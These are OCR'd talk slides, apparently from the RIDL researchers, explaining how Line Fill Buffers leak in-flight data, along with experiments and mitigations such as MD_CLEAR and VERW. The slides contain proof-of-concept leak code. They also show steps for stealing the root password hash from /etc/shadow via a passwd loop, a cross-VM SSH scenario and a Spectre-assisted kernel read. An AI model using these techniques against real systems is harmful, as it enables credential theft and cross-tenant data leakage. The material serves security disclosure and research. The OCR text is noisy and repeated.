(e — L
@ w 4-way B
n DL Execution Units
~ | L1d Cache Line Fill '+ 1 [ STORE C
e 2| 32kiB Buffer R N
— . 1Y AGU )
@ 8-Way (10 entries) ' LOAD —
AGU B
_________________________________________________ ' |_LOAD
| <
| _ , [INT ALU T
loads Load Buffer Physical . | INT DIV B
(72 entries) Register File ' [IVEC ALU N
+ [IVEC MUL B
Store & Forward Buffer Integer n | FPEMA 1
stores ' Registers S | _AES i
(56 entries) g . g VEC STR i
— |INenre)[{jyel [FPON | B BB BBBE D

Central buffer between execution units, Lid and L2 to improve memory throughput



LINE FILL BUFFERS?

_______________________________________________________________________________________

e | - S L2 Cache I
5 — 256 kiB x
— — L
@ w 4-way o
n L Execution Units
— | L1d Cache Line Fill '+ [ STORE B
% | S| 32kiB Buffer o N
= . o AGU ]
@ 8-Way (10 entries) ' LOAD —
AGU B
_________________________________________________ ' |_LOAD
' <
| , ; [INT ALU T
loads Load Buffer Physical , | INT DIV B
(72 entries) Register File + IVEC ALU N
+ [IVEC MUL B
Store & Forward Buffer Integer a 1 [FPEMA 1
stores . Reqisters = AES iy
(56 entries) 1809 . g VEC STR T\
entries =
— |t llwe ([EPDV]| B3 88 BBRBE

Central buffer between execution units, Lid and L2 to improve memory throughput



LINE FILL BUFFERS?

Multiple roles:

Asynchronous memory requests

Load squashing

Write combining

Uncached memory



LINE FILL BUFFERS?

Multiple roles:

Asynchronous memory requests

Load squashing

Write combining

Uncached memory



LINE FILL BUFFERS?

CPU design: what to do on a cache miss?

* Send out memory request
e Wait for completion

e Blocks other loads/stores



LINE FILL BUFFERS?

Solution: keep track of address in LFB

Send out memory request

Allocate LFB entry

Store address in LFB

Serve other loads/stores

Pending request eventually completes



LINE FILL BUFFERS?

Solution: keep track of address in LFB

Send out memory request

Allocate LFB entry

Store address in LFB

Serve other loads/stores

Pending request eventually completes



LINE FILL BUFFERS?
Allocate LFB entry

May contain data from previous load

RIDL exploits this



EXPERIMENTS

Experiments in the paper



EXPERIMENTS
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Experiments in the paper




EXPERIMENTS
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Experiments in the paper



EXPERIMENTS

“ 1B hit_Ifb
Zeros

II—A

10000 1
800
600 L
- 103.
v o1
400 GC)
3 102.
32
200 |_|L_ 1 5 1014
>
(on
10 E 1009 -
10—1-
10—2-
[ ]
Conclusion

A
B B
m C
D
I noise
i || LA A M
0\ QA ) N AN QA ) \
F & E
x< < x2 . Q
FEFEFTE T

: our primary RIDL instance leaks from Line Fill Buffers



Cool... so how do we actually mount a RIDL attack?



IDEAS

e We can leak in-flight data

e Let’s get some sensitive data in-flight!



LOCAL ATTACKER



/ETC/SHADOW



$ strace passwd 2>&1

openat (

AT FDCWD,
"/etc/shadow",

0 RDONLY |0 CLOEXEC
)



CONFUSED DEPUTY

e passwd opens /etc/shadow

e Can we get this on the other Hyper-Thread?



taskset -c 3 ./passwd.sh




while true; do
passwd -S;

done




CHALLENGES



CHALLENGES



What does this program look like?



if (_xbegin() == _XBEGIN_STARTED) {
char byte = *(volatile char *)NULL;
char *p = probe + byte * 4096;
*(volatile char *)p;
_xend();

[for (i = 0; i < 256; ++i) { i
i __rdtsc(); i
i *(volatile char x)(probe + i * 4096);!

‘—'.
()
I

dt = __rdtsc() - to;

____________________________________________________________

Probe Array




if (_xbegin() == _XBEGIN_STARTED) {
char byte = *(volatile char *)NULL;
char *p = probe + byte * 4096;
*(volatile char *)p;
_xend();

[for (i = 0; i < 256; ++i) { i
| __rdtsc(); i
i *(volatile char x)(probe + i * 4096);!

‘—'.
()
I

dt = __rdtsc() - t0;

____________________________________________________________

Probe Array




if (_xbegin() == _XBEGIN_STARTED) {
char byte = *(volatile char *)NULL;
char *p = probe + byte * 4096;
*(volatile char *)p;
_xend();

[for (i = 0; i < 256; ++i) { i
| __rdtsc(); i
i *(volatile char x)(probe + i * 4096);!

‘—'.
()
I

dt = __rdtsc() - t0;

____________________________________________________________

Probe Array




if (_xbegin() == _XBEGIN_STARTED) {
char byte = *(volatile char *)NULL;
char *p = probe + byte * 4096;
*(volatile char *)p;
_xend();

[for (i = 0; i < 256; ++i) { i
i __rdtsc(); i
i *(volatile char x)(probe + i * 4096);!

‘—'.
()
I

dt = __rdtsc() - to;

____________________________________________________________

Probe Array




if (_xbegin() == _XBEGIN_STARTED) {
char byte = *(volatile char *)NULL;
char *p = probe + byte * 4096;
*(volatile char *)p;
_xend();

[for (i = 0; i < 256; ++i) { i
i __rdtsc(); i
i *(volatile char x)(probe + i * 4096);!

‘—'.
()
I

dt = __rdtsc() - t0;

Probe Array




if (_xbegin() == _XBEGIN_STARTED) {
char byte = *(volatile char *)NULL;
char *p = probe + byte * 4096;
*(volatile char *)p;
_xend();

[for (i = 0; i < 256; ++i) { i
i __rdtsc(); i
i *(volatile char x)(probe + i * 4096);!

‘—'.
()
I

dt = __rdtsc() - to;

Probe Array




if (_xbegin() == _XBEGIN_STARTED) {
char byte = *(volatile char *)NULL;

Leak in-flight data from an invalid or |
unmapped page, also works for
demand paging. ]
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i *(volatile char x)(probe + i * 4096);!
] dt = __rdtsc() - to; i

Probe Array
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Use the leaked byte as an index
into our probe array.
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CHALLENGES



RIDL is like drinking from a fire hose
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You just get whatever data is in flight!
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CHALLENGES

We need to synchronize or do some post-processing

e Synchronize: could be done using cache attacks, but we’re lazy

» Post-processing: we can repeat measurements, stitch them together?




FILTERING DATA

How can we filter data?

We want to leak from /etc/shadow

First line /etc/shadow is for root

Starts with "root:"

Use prefix matching:
= Match = we learn a new byte

= No Match = discard



FILTERING

Known Prefix

r OO t




FILTERING

Known Prefix

r OO t




FILTERING

Known Prefix

r OO t

No Match




FILTERING

Known Prefix

r OO t

No Match




FILTERING

Known Prefix

r OO t




FILTERING

Known Prefix

r OO t




FILTERING

Known Prefix

r OO t

No Match

hlt|t|p]s

Match

r O| O t

No Match

R{E|[A|D|M




FILTERING

Known Prefix

r OO t

No Match

hlt|t|p]s

Match

r O| O t

No Match

R{E|[A|D|M




FILTERING

Known Prefix

r OO t

No Match

hlt|t|p]s

Match

r O| O t

No Match

R{E|[A|D|M




CHALLENGES



RESULT

We can leak the root password hash from an unprivileged user



RESULT

We can leak the root password hash from an unprivileged user

Let’s extend this a bit...



RESULT

We can leak the root password hash from an unprivileged user
Let’s extend this a bit...

to the cloud!



THREAT MODEL

Victim VM in the cloud



THREAT MODEL

We get a VM on the same server



THREAT MODEL

We make sure it is co-located

Line Fill
Buffers




THREAT MODEL

Victim VM runs an SSH server

Line Fill
Buffers

/etc/shadow



IN-FLIGHT DATA

How do we get data in flight?

Line Fill
Buffers

/etc/shadow



IN-FLIGHT DATA

SSH client

We run an SSH client...

Line Fill
Buffers

Victim VM

/etc/shadow

SSH server




IN-FLIGHT DATA

Victim VM

Line Fill

Buffers /etc/shadow

)
SSH client [ SSH Connection L} SSH server

... that keeps connecting to the SSH server



IN-FLIGHT DATA

Victim VM

Buffers

. . |
Line FII< Load |/etc/shadow

SSH client SSH server

The SSH server loads /etc/shadow through LFB



IN-FLIGHT DATA

Victim VM

Buffers

. . |
Line FII< Load |/etc/shadow

SSH client SSH server

The contents from /etc/shadow are in flight



LEAKING

Victim VM

Line Fill

Buffers /etc/shadow

SSH client SSH server

Now that the data is in flight, we want to leak it



LEAKING

Victim VM

RIDL Line Fill Jetc/shadow
Buffers

SSH client SSH server

We run our RIDL program on our server...



LEAKING

Attacker VM

RIDL

SSH client

Leak

\

...which leaks the data from the LFB

Line Fill
Buffers

Victim VM

/etc/shadow

SSH server




WHAT ELSE?



SPECTRE
Time
| >




RIDL + SPECTRE

» We can use Spectre in combination with RIDL
e Train branch predictor to trust us

e Surprise it with an unexpected pointer



RIDL + SPECTRE
Time
| >

p = system call parameter
It (p points to read memory from p
userspace)




ARBITRARY KERNEL LEAK

copy from user() can access arbitrary user-supplied pointer

Repeatedly call setrlimit () with valid user pointer to train branch
predictor

After training, we supply it a kernel pointer we want to leak

Will be executed speculatively, pulled into LFB

At the same time we leak using RIDL



Attacker

| | User

int setrlimit(unsigned int resource,
struct rlimit __user *rlim) {
copy_from_user(..., rlim, ...);

unsigned long copy_from_user(void *to,
const void __user *from,
unsigned long n) {
if (likely(access_ok(from, n)))
raw_copy_from_user(to, from, n);

return n;
Kernel
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Attacker

int setrlimit(unsigned int resource,
struct rlimit __user *rlim) {
copy_from_user(..., rlim, ...);

unsigned long copy_from_user(void *to,
const void __user *from,
unsigned long n) {
if (likely(access_ok(from, n)))
raw_copy_from_user(to, from, n);

return n;

User

Kernel
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' setrlimit(..., Oxffff80000fdlc950): i User
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Attacker

' setrlimit(..., oxffff80000fdlc950):; E User

int setrlimit(unsigned int resource,
struct rlimit __user *rlim) {
copy_from_user(..., rlim, ...);

unsigned long copy_from_user(void *to,
const void __user *from,
unsigned long n) {
if (likely(access_ok(from, n)))

raw_copy_from_user(to, from, n);

return n;

Kernel




WHAT NEXT??

We attacked the cloud and have an arbitrary kernel read.

We still need a local account on the target...
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PORTABILITY

e No TSX or other speculation mechanisms
e Can’t use invalid pointers

e cLTlush is too useful



PORTABILITY

e No clflush

= Touch eviction sets
e No TSX/invalid pointers

» Use demand paging to generate "valid" page faults



PORTABILITY

/* Evict buffer from cache. */
evict(buffer);

/* Speculatively load the secret. */
char value = *(new page);

/* Calculate the corresponding entry. */
char *entry ptr = buffer + (1024 * value);

/* Load that entry into the cache. */
*(entry ptr);

/* Time the reload of each buffer entry to
see which entry is now cached. */
for(k=0;k<256;++k){
t0 = cycles();
*(buffer + 1024 * k);
if (cycles - t0 < 100) ++results[k];
}






FROM THE BROWSER

We can generate this code from WebAssembly!



FROM THE BROWSER







FROM THE BROWSER

LOG
LOG
LOG
LOG
LOG
LOG
LOG
LOG
LOG
LOG
LOG
LOG
LOG
LOG
LOG
LOG
LOG
LOG

L T e T e T e T e T e T e T e T e T e B e T e B e B e T e T e B e T e |

— et ed ed e e ) ) eeed eeed ) ) e e e eed e

e

- [0x20]
- [0x49]
- [O0x74]
- [Ox27]
- [0x73]
- [0x20]
- [Ox6d]
- [Ox65]
- [0x20]
- [Ox4d]
- [0x61]
- [0x72]
- [Ox69]
- [Ox6T]
- [0x21]
- [Ox22]
- Timel6.45495575
0.9115794796348814B/s

12
67
46
23
111
36
101
109
116
69
125
162
125
72
13
10

plt@cutlesky ~/ridl-js$ exit

(OI—

— 0 H 5 09 =



MORE EXAMPLES

Also mentioned in our paper:

e Leaking from ports
» Reading SGX registers (again..)
» Leaking internal CPU data (e.g. page tables)



MITIGATIONS



EXISTING MITIGATIONS

Before May, three mechanisms:

 Inhibit Trigger (stop speculation, fences, retpoline)
e Hide Secret (KPTI, array index masking, L1D flush)

» Disrupt channel of leakage (disable timers)



RIDL MITIGATIONS

Introduced in May:

e Same-thread:
= vVerw overwrites affected buffers

» Special Assembly snippets



MD_CLEAR WORKARAQOUND

asm__

__volatile  (
"Lfence\n\t"
"orpd (%1), %%xmmO\n\t"
"orpd (%1), S%%xmmO\n\t"
"xorl %%eax, %%eax\n\t"
"1:clflushopt 5376(%0,%%rax,8)\n\t"
"addl $8, %%eax\n\t"
"cmpl $8*12, %%eax\n\t"
"jb 1b\n\t"
"sfence\n\t"
"movl $6144, %%ecx\n\t"
"xorl %%eax, %%eax\n\t"
"rep stosb\n\t"
"mfence\n\t"

"+D" (dst)

“r" (zero ptr)

eax", "ecx",

cc", "memory"






RIDL MITIGATIONS

Introduced in May:

e Same-thread:
» verw overwrites affected buffers
» Special Assembly snippets

e Cross-thread:

» Complex scheduling and synchronization



RIDL MITIGATIONS
o

idle | idle

kermel  kernel

Synchronousiret from both
threads to user/user state

kernel user

Kernel thread must bring the other thread into the
kernel, then jump to kernel/kermel state

Each box pair represents
a physical core:

: thread D | thread 1

.

interrupt

$ -

iret

—_—
Syscall/trap/interrupt

—_—
Interprocess interrupt rendezvous

Halt/MWAIT/spin



RIDL MITIGATIONS

 Same-thread:
= verw overwrites affected buffers
» Special Assembly snippets
e Cross-thread:
= Complex scheduling and synchronization

» Disable Intel Hyper-Threading®)




SPOT MITIGATIONS



FUTURE OF MITIGATIONS

Looking at our diagram, there might be other issues...
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TAKE HOME MESSAGE

These issues need to be fixed!
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MDS TOOL

Stephan wrote a tool to verify your system:
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Many more buffers other than caches to leak from
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¥ @themadstephan @noopwafel @vusec
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